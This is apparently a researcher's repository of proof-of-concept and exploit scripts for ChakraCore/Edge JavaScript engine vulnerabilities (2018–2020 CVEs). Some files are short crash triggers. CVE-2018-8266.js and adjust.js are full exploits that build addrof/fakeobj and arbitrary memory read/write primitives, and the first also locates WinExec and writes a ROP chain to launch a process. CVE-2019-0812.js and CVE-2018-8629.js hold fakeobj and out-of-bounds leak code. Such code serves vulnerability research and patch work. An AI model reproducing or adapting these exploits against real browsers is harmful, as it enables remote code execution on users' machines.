├── README.md ├── CVE-2020-1219.js ├── CVE-2020-0969.js ├── CVE-2019-0593.js ├── CVE-2020-0970.js ├── CVE-2020-0825.js ├── CVE-2020-0767.js ├── CVE-2020-0827.js ├── CVE-2019-1051.js ├── CVE-2018-8629.js ├── CVE-2019-0812.js ├── CVE-2018-8266.js └── adjust.js /README.md: -------------------------------------------------------------------------------- 1 | # chakra-bugs -------------------------------------------------------------------------------- /CVE-2020-1219.js: -------------------------------------------------------------------------------- 1 | var obj = { a: 0x414141,d :0x424242, c:0x434343}; 2 | obj.b = Intl; 3 | Intl = obj; 4 | obj.__proto__ = obj.b; 5 | Math.acos(obj.a); 6 | -------------------------------------------------------------------------------- /CVE-2020-0969.js: -------------------------------------------------------------------------------- 1 | // Found and exploited together with my friend S0rryMyBad 2 | function poc(o) { 3 | eval(` 4 | var pwn = new Proxy(o.valueOf, { 5 | apply : function(target, thisArg, arguments) { 6 | o.__proto__ = thisArg; 7 | } 8 | }); 9 | `); 10 | var evil = pwn(); 11 | } 12 | poc({}); 13 | -------------------------------------------------------------------------------- /CVE-2019-0593.js: -------------------------------------------------------------------------------- 1 | var y = 2261635.5098039214; // <- influences the crash address 2 | 3 | function f() { 4 | return y; 5 | }; 6 | function main(o) { 7 | o.valueOf = f; 8 | for (var i = o; i > y - 48.0; i = i - 1.0) { 9 | a = o.valueOf(); // this crashes 10 | o = i; 11 | } 12 | } 13 | 14 | for (var i = 0; i < 160; i++) { 15 | main({}); 16 | } 17 | -------------------------------------------------------------------------------- /CVE-2020-0970.js: -------------------------------------------------------------------------------- 1 | function opt(o) { 2 | var obj = { 3 | a:0x41424344, 4 | b:0x123456, 5 | c:0x424344, 6 | d:0x434445, 7 | }; 8 | obj.__proto__ = o; 9 | obj.fff = function () { 10 | Object.defineProperty(obj,"b",{ 11 | configurable:0, 12 | }); 13 | }; 14 | obj.fff(); 15 | delete obj.fff; 16 | } 17 | for (var i = 0; i < 100; i++) { 18 | opt({}); 19 | } 20 | -------------------------------------------------------------------------------- /CVE-2020-0825.js: -------------------------------------------------------------------------------- 1 | function gc() { 2 | for (let i = 0; i < 100; ++i) { 3 | new ArrayBuffer(0x10000); 4 | } 5 | } 6 | 7 | function opt() { 8 | var v1 = { 9 | b:41 10 | }; 11 | gc(); 12 | g.valueOf = function () { 13 | return v1.b; 14 | }; 15 | g.valueOf(); 16 | g.__defineSetter__(40,function() {}) 17 | } 18 | 19 | g = new String("A"); 20 | for (var i = 0; i < 200; i++) { 21 | opt(); 22 | } 23 | -------------------------------------------------------------------------------- /CVE-2020-0767.js: -------------------------------------------------------------------------------- 1 | function f(object) { 2 | object.__proto__ = {}; 3 | object.a; 4 | for (let i = 0; i < 50000; ++i) { 5 | object.a = 0x41414141; 6 | object.x = 1; 7 | try {} catch(e) {} finally {} 8 | } 9 | return () => object; 10 | } 11 | 12 | function trigger(f) { 13 | for (var i = 0; i < 160; i++) { 14 | f({a:1, b:2, c:3}); 15 | } 16 | hax = f({a:1, b:2, c:3, d:4})(); 17 | hax.x; 18 | } 19 | 20 | trigger(f); 21 | -------------------------------------------------------------------------------- /CVE-2020-0827.js: -------------------------------------------------------------------------------- 1 | function opt(a) { 2 | for (var i = 0; i < 600; i++) { 3 | a.h = a.c; 4 | a.d.x = 3; 5 | a.__defineGetter__("t",function() {}) 6 | } 7 | a.c; 8 | a.d; 9 | } 10 | 11 | function pwn() { 12 | var a = { 13 | c:{}, 14 | d:{x:1}, 15 | }; 16 | Object.create(a); 17 | for (var i = 0; i < 160; i++) { 18 | opt(a); 19 | } 20 | let o = {x:0x41424344} 21 | opt(o); 22 | } 23 | pwn(); 24 | -------------------------------------------------------------------------------- /CVE-2019-1051.js: -------------------------------------------------------------------------------- 1 | // Found and exploited with my friend S0rryMyBad 2 | function opt(o){ 3 | var v = [0,1,2,3,4,5.1]; 4 | let tmp = 3.3; 5 | if (flag) { 6 | tmp = Array; 7 | } 8 | if (flag2) { 9 | return; 10 | } 11 | v.x = 1; 12 | v[100] = tmp; 13 | v.y = 2; 14 | return v; 15 | } 16 | 17 | flag = 1; 18 | flag2 = 1; 19 | opt(); 20 | flag = 0; 21 | flag2 = 0; 22 | for (let i = 0; i < 3100; ++i){ 23 | opt(); 24 | } 25 | 26 | flag = 1; 27 | evil = opt(); 28 | -------------------------------------------------------------------------------- /CVE-2018-8629.js: -------------------------------------------------------------------------------- 1 | // OOB read leak by bkth from phoenhex for ChakraCore, this will crash reading oob in edge 2 | var convert = new ArrayBuffer(0x100); 3 | var u32 = new Uint32Array(convert); 4 | var f64 = new Float64Array(convert); 5 | 6 | var scratch = new ArrayBuffer(0x100000); 7 | var scratch_u8 = new Uint8Array(scratch); 8 | var scratch_u32 = new Uint32Array(scratch); 9 | var BASE = 0x100000000; 10 | 11 | var shellcode = null; 12 | 13 | function hex(x) { 14 | return `0x${x.toString(16)}` 15 | } 16 | 17 | function bytes_to_u64(bytes) { 18 | return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 19 | +bytes[4]*0x100000000+bytes[5]*0x10000000000); 20 | } 21 | 22 | function i2f(x) { 23 | u32[0] = x % BASE; 24 | u32[1] = (x - (x % BASE)) / BASE; 25 | return f64[0]; 26 | } 27 | 28 | function f2i(x) { 29 | f64[0] = x; 30 | return u32[0] + BASE * u32[1]; 31 | } 32 | 33 | function valid_pointer(x) { 34 | f64[0] = x; 35 | if (u32[1] > 0 && u32[1] < 0x1000) { 36 | return true; 37 | } 38 | return false 39 | } 40 | 41 | function opt(o, j) { 42 | var a = new Float64Array(0x111112); 43 | o = a; 44 | o[0] = 1337; 45 | var b = a.slice(0,20); 46 | b[92] = 13; 47 | for (var i = 0; i < a.length; ++i) { 48 | b = a; 49 | b[1] = 0x4141; 50 | } 51 | // Chakra failed to insert value compensation which cause the headSegmentsym to be reloaded 52 | // but not the headSegmentLength sym, we therefore accessed the new buffer with the wrong length checked 53 | return b[j]; 54 | } 55 | 56 | function pwn() { 57 | for (var i = 0; i < 300; i++) { 58 | opt(24, 0x10); 59 | } 60 | 61 | for (var i = 0x10; i < 0x1000; ++i) { 62 | let res = opt(24, i); 63 | if (res != 0 && valid_pointer(res)) { 64 | val = f2i(res); 65 | print("Leaked at " + i + ": " + hex(val)); 66 | } 67 | } 68 | opt(24, 0x111111); // OOB 69 | } 70 | pwn(); 71 | -------------------------------------------------------------------------------- /CVE-2019-0812.js: -------------------------------------------------------------------------------- 1 | // found and exploited with S0rryMyBad 2 | var convert = new ArrayBuffer(0x100); 3 | var u32 = new Uint32Array(convert); 4 | var f64 = new Float64Array(convert); 5 | var BASE = 0x100000000; 6 | 7 | function hex(x) { 8 | return `0x${x.toString(16)}` 9 | } 10 | 11 | function i2f(x) { 12 | u32[0] = x % BASE; 13 | u32[1] = (x - (x % BASE)) / BASE; 14 | return f64[0]; 15 | } 16 | 17 | function f2i(x) { 18 | f64[0] = x; 19 | return u32[0] + BASE * u32[1]; 20 | } 21 | 22 | // The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache. 23 | // We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2 24 | // when in reality our bug will let us write to tmp.x through tmp.y. 25 | // We can use that to forge a missing value array with the HasNoMissingValues flag 26 | function opt(index) { 27 | var tmp = new String("aa"); 28 | tmp.x = 2; 29 | once = 1; 30 | for (let useless in tmp) { 31 | if (once) { 32 | delete tmp.x; 33 | once = 0; 34 | } 35 | tmp.y = index; 36 | tmp.x = 1; 37 | } 38 | return [1, tmp.x - 524286]; // forge missing value 0xfff80002 39 | } 40 | 41 | for (let i = 0; i < 0x1000; i++) { 42 | opt(1); 43 | } 44 | 45 | evil = opt(0); 46 | evil[0] = 1.1; 47 | // evil is now a NativeFloatArray with a missing value but the engine does not know it 48 | 49 | 50 | function fakeobj(addr) { 51 | function opt2(victim, magic_arr, hax, addr){ 52 | let magic = magic_arr[1]; 53 | victim[0] = 1.1; 54 | hax[0x100] = magic; // change float Array to Var Array 55 | victim[0] = addr; // Store unboxed double to Var Array 56 | } 57 | 58 | for (let i = 0; i < 10000; i++){ 59 | let ary = [2,3,4,5,6.6,7,8,9]; 60 | delete ary[1]; 61 | opt2(ary, [1.1,2.2], ary, 1.1); 62 | } 63 | 64 | let victim = [1.1,2.2]; 65 | 66 | opt2(victim, evil, victim, i2f(addr)); 67 | return victim[0]; 68 | } 69 | print(fakeobj(0x12345670)); 70 | -------------------------------------------------------------------------------- /CVE-2018-8266.js: -------------------------------------------------------------------------------- 1 | // exploit for commit d1dc14e91fc96130f3fab734c3b5121ba2368e3d 2 | var convert = new ArrayBuffer(0x100); 3 | var u32 = new Uint32Array(convert); 4 | var f64 = new Float64Array(convert); 5 | 6 | var scratch = new ArrayBuffer(0x100000); 7 | var scratch_u8 = new Uint8Array(scratch); 8 | var scratch_u32 = new Uint32Array(scratch); 9 | var BASE = 0x100000000; 10 | log = print; 11 | 12 | function hex(x) { 13 | return `0x${x.toString(16)}` 14 | } 15 | 16 | function bytes_to_u64(bytes) { 17 | return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 18 | +bytes[4]*0x100000000+bytes[5]*0x10000000000); 19 | } 20 | 21 | function i2f(x) { 22 | u32[0] = x % BASE; 23 | u32[1] = (x - (x % BASE)) / BASE; 24 | return f64[0]; 25 | } 26 | 27 | function f2i(x) { 28 | f64[0] = x; 29 | return u32[0] + BASE * u32[1]; 30 | } 31 | 32 | // Exploit 33 | 34 | // create an object and set 9 properties to it so that the type handler has records for these offsets 35 | obj = {} 36 | obj.a = 13.37; 37 | obj.b = 1; 38 | obj.c = 2; 39 | obj.d = 3; 40 | obj.e = 4; 41 | obj.f = 5; 42 | obj.g = 6; 43 | obj.h = 7; // this will correspond to the offset of target->buffer 44 | obj.i = 8; 45 | 46 | target = new ArrayBuffer(0x200); 47 | newL = 0x1000; 48 | // victim function which we will JIT 49 | function opt(o) { 50 | var inline = function() { 51 | o.b = o.b; 52 | o.e = target; // [[ 1 ]] 53 | }; 54 | o.a = "HELLO"; 55 | 56 | for (var i = 0; i < 10000; i++) { 57 | inline(); 58 | o.a = obj; 59 | } 60 | } 61 | 62 | Math.acos({}); 63 | 64 | // Ready to pwn :) 65 | function pwn() { 66 | 67 | for (var i = 0; i < 160; i++) { 68 | opt({ 69 | a:1.1, 70 | b:2.2, 71 | c:3.3, 72 | }); 73 | } 74 | 75 | opt({ 76 | a:1.1, 77 | b:2.2, 78 | c:3.3, 79 | d:4.4, 80 | }); 81 | // obj->auxSlots is now [[ 1 ]] which is target 82 | 83 | hax = new ArrayBuffer(0x2000); // create second array buffer variable 84 | hax_view = new Uint32Array(hax); // set some marker values to prove we have an arbitrary R/W 85 | cmd_view = new Uint8Array(hax); 86 | hax_view[0] = 0xdeadbeef; 87 | hax_view[1] = 0x13371337 88 | 89 | obj.h = hax; // set target->buffer to hax 90 | obj.i = newL; // update target's length 91 | 92 | 93 | view1 = new Uint32Array(target); // we can use these views to read and write inside hax meta-data 94 | view2 = new Float64Array(target); 95 | view3 = new Uint8Array(target); 96 | 97 | log("[+] vtable pointer is " + hex(f2i(view2[0]))); 98 | 99 | base = f2i(view2[0]) - 0x586bc8; 100 | log("[+] chakracore.dll @ " + hex(base)); 101 | buffer_addr = f2i(view2[7]); 102 | log("[+] ArrayBuffer internal buffer @ " + hex(buffer_addr)); 103 | let cmd = "C:\\Windows\\SysWOW64\\calc.exe"; 104 | for (let i = 0; i < cmd.length; ++i) { 105 | cmd_view[0x1a00 + i] = cmd.charCodeAt(i); 106 | } 107 | cmd_view[0x1a00 + cmd.length] = 0; 108 | 109 | let read = function(where) { 110 | view2[7] = i2f(where); // setup hax->buffer 111 | tmp = new Float64Array(hax) 112 | return f2i(tmp[0]); // return (int64) hax->buffer[0] 113 | } 114 | 115 | let write = function(what, where) { 116 | // same concept as read 117 | view2[7] = i2f(where); // setup hax->buffer 118 | tmp = new Uint32Array(hax); 119 | tmp[0] = what % BASE; 120 | tmp[1] = what / BASE; 121 | } 122 | 123 | write(0x414141414141, buffer_addr + 40); 124 | if (read(buffer_addr + 40) !== 0x414141414141) { 125 | throw null; 126 | } 127 | 128 | // RW primitives are now good to go; 129 | 130 | ntdll_addr = read(base + 0x4F0000); 131 | ntdll_base = ntdll_addr - 0x4cde0; 132 | kernel32_base = read(base + 0x4F0000 + 0x48) - 0x15da0; 133 | winexec_addr = kernel32_base + 0x5f0e0; 134 | log("[+] ntdll address: " + hex(ntdll_addr)); 135 | log("[+] ntdll base @ " + hex(ntdll_base)); 136 | log("[+] kernel32 base @ " + hex(kernel32_base)); 137 | log("[+] WinExec @ " + hex(winexec_addr)); 138 | 139 | threadctx_global_addr = base + (0x7ffeef086728 - 0x7ffeeea40000); 140 | threadctx = read(threadctx_global_addr); 141 | log("[+] &thread context @ " + hex(threadctx_global_addr)); 142 | log("[+] thread context ptr @ " + hex(threadctx)); 143 | stack = read(threadctx + 0xc8) + 0xf0000; 144 | log("[+] stack limit: " + hex(stack)); 145 | 146 | //ret_addr = base + 0x4a644b; 147 | ret_addr = base + 0x4a38f6; 148 | 149 | var found = false; 150 | for (var i = 0; i < 0x10000; i++) { 151 | if (read(stack) == ret_addr) { 152 | log("[+] Found return address on stack"); 153 | found = true; 154 | break; 155 | } 156 | stack += 8; 157 | } 158 | 159 | if (!found) throw null; 160 | 161 | jmp_virtual_protect = read(base + 0x4f0160); 162 | pop_rdi_rsi_rbx = base + 0x112932; 163 | log("[+] Virtual Protect Gadget @ " + hex(jmp_virtual_protect)); 164 | 165 | let ropchain = function(gadget, ...args) { 166 | write(gadget, stack); 167 | stack += 8; 168 | for (let i = 0; i < args.length; ++i) { 169 | write(args[i], stack); 170 | stack += 8; 171 | } 172 | } 173 | jmp_virtual_protect = read(base + 0x4f0160); 174 | pop_rsp_rbx_rbp = base + 0x5f77a; 175 | pop_rcx = base + 0x14778; 176 | pop_rdx = base + 0x1aa375; 177 | pop_rsp = base + 0xf9764; 178 | 179 | ropchain(pop_rsp_rbx_rbp, buffer_addr + 0x1000); 180 | write(0xdead4141, buffer_addr+0x1000); 181 | write(buffer_addr + 0x1800, buffer_addr+0x1008); 182 | 183 | write(pop_rcx, buffer_addr+0x1010); 184 | write(buffer_addr + 0x1a00, buffer_addr+0x1018); 185 | 186 | write(pop_rdx, buffer_addr+0x1020); 187 | write(5, buffer_addr+0x1028); 188 | 189 | write(winexec_addr, buffer_addr+0x1030); 190 | write(0xdeadead, buffer_addr+0x1038); 191 | 192 | } 193 | 194 | pwn(); 195 | -------------------------------------------------------------------------------- /adjust.js: -------------------------------------------------------------------------------- 1 | // Exploit for commit e149067c8f1a80462ac77d863b9bfb0173d0ced3 2 | // bug introduced by 8c5332b8eb5663e4ec2636d81175ccf7a0820ff2 3 | 4 | var convert = new ArrayBuffer(0x100); 5 | var u32 = new Uint32Array(convert); 6 | var f64 = new Float64Array(convert); 7 | var scratch = new ArrayBuffer(0x100000); 8 | var scratch_u8 = new Uint8Array(scratch); 9 | var scratch_u32 = new Uint32Array(scratch); 10 | var BASE = 0x100000000; 11 | 12 | function hex(x) { 13 | return `0x${x.toString(16)}` 14 | } 15 | 16 | function bytes_to_u64(bytes) { 17 | return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 18 | +bytes[4]*0x100000000+bytes[5]*0x10000000000); 19 | } 20 | 21 | function lower(x) { 22 | return x & 0xffffffff; 23 | } 24 | let lo = lower; 25 | 26 | function higher(x) { 27 | return (x - (x % BASE)) / BASE; 28 | } 29 | let hi = higher; 30 | 31 | function i2f(x) { 32 | u32[0] = x % BASE; 33 | u32[1] = (x - (x % BASE)) / BASE; 34 | return f64[0]; 35 | } 36 | 37 | function f2i(x) { 38 | f64[0] = x; 39 | return u32[0] + BASE * u32[1]; 40 | } 41 | 42 | // EXPLOIT 43 | 44 | // this creates an object of a certain size which makes so that its auxSlots is full, adding a property to it will require adjustment 45 | // First version of the bug was trivial, we just needed 20 regular properties 46 | // But first patch was easy to bypass by defining an accessor so we just remove 2 properties (accessors take up two slots in the auxSlots buffer) 47 | function make_obj() { 48 | let o = {}; 49 | o.a1=0x4000; 50 | o.a2=0x4000; 51 | o.a3=0x4000; 52 | o.a4=0x4000; 53 | o.a5=0x4000; 54 | o.a6=0x4000; 55 | o.a7=0x4000; 56 | o.a8=0x4000; 57 | o.a9=0x4000; 58 | o.a10=0x4000; 59 | o.a11=0x4000; 60 | o.a12=0x4000; 61 | o.a13=0x4000; 62 | o.a14=0x4000; 63 | o.a15=0x4000; 64 | o.a16=0x4000; 65 | o.a17=0x4000; 66 | o.a18=0x4000; 67 | //o.a19=0x4000; 68 | //o.a20=0x4000; 69 | return o; 70 | } 71 | 72 | let roots = []; 73 | 74 | // our buggy function to trigger the JIT bug 75 | function opt(o) { 76 | o.__defineGetter__("accessor",() => {}) 77 | o.a2; // set auxSlots as live 78 | o.pwn = 0x4000; // clobers vtable 79 | } 80 | 81 | 82 | addrof_idx = -1; 83 | function setup_addrof(toLeak) { 84 | for (var i = 0; i < 1000; i++) { 85 | addrof_hax = [1.1]; 86 | addrof_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length 87 | let o = make_obj(); 88 | addrof_hax[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index 89 | opt(o); 90 | // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000) 91 | // if we access 0x4000 and read the marker value we put, then we know it was corrupted 92 | if (addrof_hax[0x4000] == 1337.36) { 93 | print("[+] corruption done for addrof"); 94 | break; 95 | } 96 | } 97 | addrof_hax2 = []; 98 | addrof_hax2[0x1337] = toLeak; 99 | 100 | // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak 101 | marker = 2.1219982213e-314 // 0x100001337; 102 | 103 | 104 | for (let i = 0; i < 0x500; i++) { 105 | let v = addrof_hax[0x4010 + i]; 106 | if (v == marker) { 107 | print("[+] Addrof: found marker value"); 108 | addrof_idx = i; 109 | return; 110 | } 111 | } 112 | 113 | setup_addrof(); 114 | } 115 | var addrof_setupped = false; 116 | function addrof(toLeak) { 117 | if (!addrof_setupped) { 118 | print("[!] Addrof layout not set up"); 119 | setup_addrof(toLeak); 120 | addrof_setupped = true; 121 | print("[+] Addrof layout done!!!"); 122 | } 123 | addrof_hax2[0x1337] = toLeak 124 | return f2i(addrof_hax[0x4010 + addrof_idx + 3]); 125 | } 126 | 127 | // this one is a bit more flaky 128 | // since here we corrupt a JavascriptArray, there is no scanning for marker values and such the index is hardcoded 129 | // in my experiments it works fine though: 130 | // we end up with a layout where we have (=> means followed by in memory) 131 | // full auxSlots => JavascriptArray that we corrupt => NativeDouble array where we set the addr to which we want a javascript object 132 | // by corrupting the JavascriptArray we can access oob into the NativeDouble array to fetch an unboxed value, which for the interpreter will mean this is an object 133 | function setup_fakeobj(addr) { 134 | for (var i = 0; i < 100; i++) { 135 | fakeobj_hax = [{}]; 136 | fakeobj_hax2 = [addr]; 137 | fakeobj_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length 138 | fakeobj_hax2[0x7000] = 1.1; 139 | let o = make_obj(); 140 | fakeobj_hax[0x1000] = i2f(0x404040404040); // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index 141 | fakeobj_hax2[0x3000] = addr; 142 | fakeobj_hax2[0x3001] = addr; 143 | fakeobj_hax2[0x3002] = i2f(0x464646); 144 | opt(o); 145 | // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000) 146 | // if we access 0x4000 and read the marker value we put, then we know it was corrupted 147 | if (fakeobj_hax[0x4000] == i2f(0x404040404040)) { 148 | print("[+] corruption done for fakeobj"); 149 | break; 150 | } 151 | } 152 | //Math.acos(fakeobj_hax); 153 | return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2 154 | } 155 | 156 | var fakeobj_setuped = false; 157 | function fakeobj(addr) { 158 | if (!fakeobj_setuped) { 159 | print("[!] Fakeobj layout not set up"); 160 | setup_fakeobj(addr); 161 | fakeobj_setuped = true; 162 | print("[+] Fakeobj layout done!!!"); 163 | } 164 | fakeobj_hax2[0x3000] = addr; 165 | return fakeobj_hax[0x4000 + 20] 166 | } 167 | print("[+] Checking primitives: obj == fakeobj(addrof(obj)) ?") 168 | 169 | 170 | let test = {x:0x1337}; 171 | let testaddr = addrof(test) 172 | if (fakeobj(i2f(testaddr)) != test) throw "null"; 173 | 174 | print("[+] Primitives are good"); 175 | 176 | 177 | 178 | let a = new Array(16); 179 | let b = new Array(16); 180 | 181 | let addr = addrof(a); 182 | let type = addr + 0x68; 183 | 184 | // type of Uint64 185 | a[4] = 0x6; 186 | a[6] = lo(addr); a[7] = hi(addr); 187 | a[8] = lo(addr); a[9] = hi(addr); 188 | 189 | a[14] = 0x414141; 190 | a[16] = lo(type) 191 | a[17] = hi(type) 192 | 193 | // object is at a[14] 194 | let fake = fakeobj(i2f(addr + 0x90)) 195 | let vtable = parseInt(fake); 196 | 197 | print("[+] vtable pointer " + hex(vtable)); 198 | print("[+] Static offset to Uint32Array vtable == 0xe3a8") 199 | 200 | let uint32_vtable = vtable + 0xe3a8; 201 | print("[+] Uint32Array vtable pointer " + hex(uint32_vtable)); 202 | 203 | // Now here comes the object faking gymnastics 204 | // We need to satisfy a few things to fake a typed array successfully which will give us a rw primitives 205 | // Uint32Array vtable 206 | // fake a type* pointer where we can set the typeID of Uint32TypedArray This is susceptible to change although unlikely, check in EdgeJavascriptTypeId.h 207 | // We use array constructor with small sizes because the data is allocated inline so by calling addrof on these we know where we have controled data 208 | 209 | 210 | print("[+] Faking objects ..."); 211 | 212 | 213 | // Copy pasted from my presentation at SSTIC 2019 214 | 215 | type = new Array(16); 216 | type[0] = 50; // TypeIds_Uint32Array = 50, 217 | type[1] = 0; 218 | typeAddr = addrof(type) + 0x58; 219 | type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer 220 | type[3] = hi(typeAddr); 221 | 222 | ab = new ArrayBuffer(0x1338); 223 | abAddr = addrof(ab); 224 | 225 | fakeObject = new Array(16); 226 | fakeObject[0] = lo(uint32_vtable); 227 | fakeObject[1] = hi(uint32_vtable); 228 | 229 | fakeObject[2] = lo(typeAddr); 230 | fakeObject[3] = hi(typeAddr); 231 | 232 | fakeObject[4] = 0; // zero out auxSlots 233 | fakeObject[5] = 0; 234 | 235 | fakeObject[6] = 0; // zero out objectArray 236 | fakeObject[7] = 0; 237 | 238 | fakeObject[8] = 0x1000; 239 | fakeObject[9] = 0; 240 | 241 | fakeObject[10] = lo(abAddr); 242 | fakeObject[11] = hi(abAddr); 243 | 244 | address = addrof(fakeObject); 245 | 246 | fakeObjectAddr = address + 0x58; 247 | 248 | arr = fakeobj(i2f(fakeObjectAddr)); 249 | print("[+] Fake typed array " + hex(fakeObjectAddr)); 250 | 251 | 252 | memory = { 253 | setup: function(addr) { 254 | fakeObject[14] = lower(addr); 255 | fakeObject[15] = higher(addr); 256 | }, 257 | write32: function(addr, data) { 258 | memory.setup(addr); 259 | arr[0] = data; 260 | }, 261 | write64: function(addr, data) { 262 | memory.setup(addr); 263 | arr[0] = data & 0xffffffff; 264 | arr[1] = data / 0x100000000; 265 | }, 266 | read64: function(addr) { 267 | memory.setup(addr); 268 | return arr[0] + arr[1] * BASE; 269 | } 270 | }; 271 | 272 | 273 | print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address))); 274 | 275 | memory.write32(0x414243444546, 0x1337); 276 | --------------------------------------------------------------------------------